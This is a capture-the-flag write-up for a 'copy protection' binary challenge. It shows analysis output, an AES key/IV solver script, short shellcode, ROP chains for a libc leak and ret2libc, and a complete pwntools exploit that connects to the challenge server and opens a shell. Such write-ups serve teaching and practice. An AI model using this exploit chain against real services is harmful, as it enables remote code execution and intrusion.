Description
Software piracy is a crime!
Don’t steal our hard work.
nc 104.154.90.175 54509
downloadHINT: 2.19-18+deb8u4
Solved by: 26
Bonuspoints: 11
Resolution
NB: All the code can also be found there.
We are given a binary, as usual with every exploit, we get some information:
laxa:copy_protection:10:36:10$ file cat_flag.exe cat_flag.exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f9c231071c8b984084a7e8fc1ed8e3874e9bedce, not stripped laxa:copy_protection:10:36:20$ checksec --file cat_flag.exe [*] '/home/laxa/Documents/Repos/Challenges/CTF/tumctf2k16/copy_protection/cat_flag.exe' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE
Low protection on this binary and not stripped, let’s see what it’s doing!
laxa:copy_protection:10:36:26$ ./cat_flag.exe Welcome to cat_flag.exe v0.3 Copyright (c) 2015 h4x0rpsch0rr Thanks for choosing h4x0rpsch0rr. To protect our paying customers we ask you to enter your personal license key! License Key: wqdwqdqwd Decrypting protected code... Finished decryption! Starting protected code... Segmentation fault
It’s asking for a key, then segfaulting.
laxa:copy_protection:10:37:34$ dmesg | tail [...] [66640.027435] traps: cat_flag.exe[50793] general protection ip:400ade sp:7fffe6c0ef00 error:0 in cat_flag.exe[400000+1000]
And the binary is crashing inside the .text section at 0x400ade.
Let’s see with ltrace what is happening:
laxa:copy_protection:10:38:16$ ltrace ./cat_flag.exe __libc_start_main(0x400be5, 1, 0x7fffffd3d338, 0x400e40 <unfinished ...> setbuf(0x7fd504b732a0, 0) = <void> puts("Welcome to cat_flag.exe v0.3"Welcome to cat_flag.exe v0.3 ) = 29 puts("Copyright (c) 2015 h4x0rpsch0rr\n"...Copyright (c) 2015 h4x0rpsch0rr ) = 33 puts("Thanks for choosing h4x0rpsch0rr"...Thanks for choosing h4x0rpsch0rr. ) = 34 puts("To protect our paying customers "...To protect our paying customers we ask you to enter your personal license key! ) = 79 printf("License Key: "License Key: ) = 13 fgets(foobar "foobar\n", 33, 0x7fd504b734e0) = 0x7fffffd3d1f0 ERR_load_crypto_strings(0x7fffffd3d1f7, 0x7fd505191007, 0x7fd504b747b0, 0xa726162) = 0 OPENSSL_add_all_algorithms_noconf(10, 1, 0x7fd504cfe61b, 412) = 1 OPENSSL_config(0, 0xffffffff, 0x7fd504b72628, 0) = 1 getpagesize() = 4096 mprotect(0x400000, 4096, 7, 4096) = 0 puts("Decrypting protected code..."Decrypting protected code... ) = 29 EVP_CIPHER_CTX_new(0x400ade, 31, 0x7fffffd3d1f0, 0x7fffffd3d201) = 0xde17b0 EVP_aes_128_cbc(0xde1858, 0x40021200, 0xde17b0, 0) = 0x7fd504f51400 EVP_DecryptInit_ex(0xde17b0, 0x7fd504f51400, 0, 0x7fffffd3d1f0) = 1 EVP_DecryptUpdate(0xde17b0, 0x400ade, 0x7fffffd3d1d0, 0x400ade) = 1 EVP_DecryptFinal_ex(0xde17b0, 0x400aee, 0x7fffffd3d1d0, 0x400aee) = 0 EVP_CIPHER_CTX_free(0xde17b0, 0, 0x606506d, 0xde0ce4) = 0 mprotect(0x400000, 4096, 5, 4096) = 0 puts("Finished decryption!"Finished decryption! ) = 21 puts("Starting protected code..."Starting protected code... ) = 27 --- SIGILL (Illegal instruction) --- +++ killed by SIGILL +++
Program is getting some inputs, initializing OPENSSL library, setting the .text with RWX, unciphering some part of the .txt and then setting the .txt back to RX and then segfaulting…
Looking at the disassembly, we see that after the puts, the program is calling protected at 0x400ad6 but only segfault at 0x400ade:
400df9: e8 d2 fa ff ff call 4008d0 <mprotect@plt> 400dfe: 83 f8 ff cmp eax,0xffffffff 400e01: 75 07 jne 400e0a <main+0x225> 400e03: b8 ff ff ff ff mov eax,0xffffffff 400e08: eb 2d jmp 400e37 <main+0x252> 400e0a: bf 32 10 40 00 mov edi,0x401032 400e0f: e8 ec fa ff ff call 400900 <puts@plt> 400e14: bf 47 10 40 00 mov edi,0x401047 400e19: e8 e2 fa ff ff call 400900 <puts@plt> 400e1e: b8 00 00 00 00 mov eax,0x0 400e23: e8 ae fc ff ff call 400ad6 <protected> 400e28: bf 62 10 40 00 mov edi,0x401062 400e2d: e8 ce fa ff ff call 400900 <puts@plt>
We also see that the aes cipher will be used to uncipher the 0x400ade part of the .txt. AES 128 is using 16 byte keys but we see that fgets is actually getting 33 bytes of input. The stack layout is like that [key][1 byte padding(suppose to be nullbyte)][IV for the AES], that means that we can actually control both the key and the IV when the AES unciphering call is made!
Controlling both the key and the IV and also knowing the ciphertext means that we can control easily the first 16 bytes of the plaintext!
We made a little script to find the correct needed key/IV to obtain such a plaintext (in our case, we want a sequence of byte, this sequence of byte is going to be a shellcode):
#!/usr/bin/env python2 from Crypto.Cipher import AES import binascii import sys # this is the sequence of byte we want to have as plaintext seq = "\xbe\x50\x15\x60\x00\x6a\x7f\x5a\x0f\x05\x48\x89\xf4\xc3\x90\x90" key = "laxa" * 4 IV = "ABCDEFGHIJKLMNOP" obj = AES.new(key, AES.MODE_CBC, IV) # this is the sequence of byte in the binary ciphertext = "\xC8\x56\xF9\x5D\x1F\x6B\xCD\x27\x5C\xD8\x7E\x91\xA8\x90\xA3\x1d" plaintext = obj.decrypt(ciphertext) tmp = plaintext newIV = "" for i in range(0, len(IV)): newIV += chr(ord(tmp[i]) ^ ord(seq[i]) ^ ord(IV[i])) sys.stdout.write("IV to use: ") for x in newIV: sys.stdout.write("\\x" + hex(ord(x))[2:]) print "" keykey = "laxa" * 4 obj2 = AES.new(keykey, AES.MODE_CBC, newIV) plaintext = "" ciphertexta = "\xC8\x56\xF9\x5D\x1F\x6B\xCD\x27\x5C\xD8\x7E\x91\xA8\x90\xA3\x1d" plaintexta = obj2.decrypt(ciphertexta) assert(plaintexta == seq)
Now that we know how to control the text that is going to be executed, it’s time to find the good way to exploit the binary!
Good thing for us, both RAX and RDI are set to 0 when the protected area is called, which means that we can have that shellcode executed:
global _start _start: ;; both RDI and RAX are already set to 0 mov rsi, 0x601550 ;buffer in .bss push 0x7f ;size of read pop rdx syscall ;read mov rsp, rsi ;ret to ROP ret
And the little bash script to extract shellcode:
#!/bin/bash nasm -f elf64 -o stage1 stage1.asm TMP=`for i in $(objdump -d stage1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;` echo -n "stage1 shellcode length: " perl -e "print \"$TMP\"" | wc -c for i in $(objdump -d stage1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
Only 14 bytes long, perfect since we need less than 16 bytes shellcode. We are going to read more input in the .bss segment to place a ROP.
The ROP is the following:
ROP = p64(0x400ea3) # pop rdi ; ret ROP += p64(0x601418) # puts.plt ROP += p64(0x400900) # puts ROP += p64(0x400a40) # pop rbp ; ret ROP += p64(0x601578) # new rbp ROP += p64(0x400e32) # mov eax, 0 ; leave ; ret ROP += p64(0x400ADE) # our shellcode
With that ROP, we will leak the address of puts in the libc and then going back to our shellcode in 0x400ade to read our second ROP payload.
The libc used on the remote is given as a hint. Sadly enough, we couldn’t find the libc online but hopefully we had a VM with that version of the libc, we can find then all the offsets needed to finish our exploit.
The last ROP is a standard ret2libc:
ROP = p64(0x400ea3) # pop rdi ; ret ROP += p64(binsh + baselibc) ROP += p64(system + baselibc)
Which gives us the final exploit:
#!/usr/bin/env python2 from pwn import * import binascii import struct import time def up64(data): return struct.unpack("<Q", data) ### if len(sys.argv) > 1: DEBUG = True offset = 0x6b990 system = 0x41490 binsh = 0x1633e8 execve = 0xba310 else: DEBUG = False offset = 0x6b990 system = 0x41490 binsh = 0x163708 execve = 0xba310 ### if DEBUG: r = process("./cat_flag.exe") else: r = remote("104.154.90.175", 54509) ### STAGE 1: leak libc r.recvuntil(": ") #log.info("press key") #raw_input() # payload is as follow : [16 bytes key] [1 byte padding] [IV] # the IV used is from ./aes.py p = "laxa" * 4 + "X" + "\x07\x88\x90\x54\x1f\x97\x5b\x1b\x2b\xce\x60\x1c\x97\xef\xed\x4c" log.info("stage1: inserting shellcode") r.send(p) r.recvuntil("Starting protected code...\n") ROP = "" ROP += p64(0x400ea3) # pop rdi ; ret ROP += p64(0x601418) # puts.plt ROP += p64(0x400900) # puts ROP += p64(0x400a40) # pop rbp ; ret ROP += p64(0x601578) # new rbp ROP += p64(0x400e32) # mov eax, 0 ; leave ; ret ROP += p64(0x400ADE) # our shellcode log.info("stage 2: ROP to leak libc") r.sendline(ROP) data = r.recvline().rstrip() while len(data) < 8: data += "\x00" libcptr = up64(data)[0] baselibc = libcptr - offset log.info("libcptr: " + hex(libcptr)) log.info("baselibc: " + hex(baselibc)) ROP = "" ROP += p64(0x400ea3) # pop rdi ; ret ROP += p64(binsh + baselibc) ROP += p64(system + baselibc) log.info("stage 3: ROP to shell") r.sendline(ROP) r.interactive()
The flag is: hxp{The unauthorized reproduction or distribution of this copyrighted work is illegal. Criminal copyright infringement, including infringement without monetary gain, is investigated by the FBI and is punishable by up to five years in federal prison and a fine of $250,000.}